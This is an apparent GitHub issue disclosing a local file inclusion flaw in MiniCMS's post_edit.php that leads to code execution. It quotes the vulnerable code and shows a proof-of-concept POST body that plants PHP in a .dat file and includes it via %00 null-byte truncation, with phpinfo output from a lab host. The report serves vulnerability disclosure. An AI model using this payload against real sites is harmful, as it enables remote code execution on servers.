

[New issue](#)[Jump to bottom](#)

## an LFI loophole in post\_edit.php #38

🔒 Closed

jayus0821 opened this issue on Dec 23, 2020 · 0 comments

jayus0821 commented on Dec 23, 2020

In addition to page\_edit.php, there is also an LFI loophole in post\_edit.php

page\_edit.php  
line 109:

```
$index_file = '../mc-files/pages/index/'.$page_state.'.php';  
require $index_file;
```

line 99:

```
$data = array(  
    'file' => $page_file,  
    'path' => $page_path,  
    'state' => $page_state,  
    'title' => $page_title,  
    'date' => $page_date,  
    'time' => $page_time,  
    'can_comment' => $page_can_comment,  
);
```

```
  
$index_file = '../mc-files/pages/index/'.$page_state.'.php';  
  
require $index_file;  
  
$mc_pages[$page_path] = $data;  
  
ksort($mc_pages);  
  
file_put_contents($index_file,  
    "<?php\n$mc_pages=".var_export($mc_pages, true)."\n?>"  
);  
  
$data['content'] = $page_content;  
  
file_put_contents($file_path, serialize($data));#file_path = '../mc-files/pages/data/'.$_GET['file'].'.dat';  
  
$succeed = true;
```

In the page editor, serialize and encode the incoming title, content, etc., and store them in xxxxxx.dat  
So we can insert php statements in the dat file, so that the file contains the structure rce  
Note that this file contains the suffix .php  
When the conditions are met:  
php <5.3.4  
magic\_quotes\_gpc=Off  
At this time, we can use %00 truncation to bypass


← → ↻ 🏠 🔒 不安全 | 192.168.0.100/minicms/mc-admin/post-edit.php

我的网站

文章 页面

a:8{s:2"ld";s:6"giv0up";s:5"state";s:7"publish";s:5"title";s:6"123123";s:4"tags";a:1(i:0;s:3"123";s:4"date";s:10"2020-12-23";s:4"time";s:8"13:05:50";s:11"can comment";s:1"1";s:7"content";s:19"}

PHP Version 5.2.17



System	Windows NT GWF0B21 6.2 build 9200
Build Date	Jan 6 2011 17:34:09
Configure Command	ccscript /nologo configure.js "--enable-snapshot-build"--enable-debug-pack"--with-snapshot-template=d:\php-sdk\snap_5_2\vc6\x86\template"--with-php-build=d:\php-sdk\snap_5_2\vc6\x86\php_build"--disable-zts"--disable-lapi"--disable-nsapi"--with-pdo-oci=D:\php-sdk\oracle\instantclient10\sdk\shared"--with-oci8=D:\php-sdk\oracle\instantclient10\sdk\shared"--without-p3web"
Server API	CGI/FastCGI
Virtual Directory Support	disabled
Configuration File (php.ini) Path	C:\WINDOWS
Loaded Configuration File	A:\ghpstudy_pro\extensions\php\php5.2.17nts\php.ini
Scan this dir for additional .ini files	(none)
additional .ini files parsed	(none)
PHP API	20041225
PHP Extension	20060613
Zend Extension	220060519
Debug Build	no
Thread Safety	disabled
Zend Memory Manager	enabled
IPv6 Support	enabled
Registered PHP Streams	php, file, data, http, ftp, compress.zlib, https, ftps
Registered Stream Socket Transports	tcp, udp, ssl, ssh3, ssh2, tls
Registered	convert.iconv.*, string.rot13, string.toupper, string.tolower, string.strip, tags, convert.*

HackStar Elements Console Sources Network Performance Memory Application Security Lighthouse AdBlock Plus EditThisCookie

LOAD SPLIT EXECUTE TEST SQLI XSS LFI SSTI ENCODING HASHING


URL  
http://192.168.0.100/minicms/mc-admin/post-edit.php

Enable POST

entype  
application/x-www-form-urlencoded

ADD HEADER

Body  
\_JS\_POST\_BACK\_=&can\_comment=1&content=%3C%3Fphp+phpinfo%28%29%3B+%3F%3E&day=&hour=&id=&minute=&month=&save=%E4%BF%9D%E5%AD%98&second=&state=../data/giv0up.dat%00&tags=123&title=123123&year=

 **bg5sbk** closed this as completed in [f8fc729](#) on Jul 19, 2021

Assignees  
No one assigned

Labels  
None yet

Projects  
None yet

Milestone  
No milestone

Development  
No branches or pull requests

1 participant  
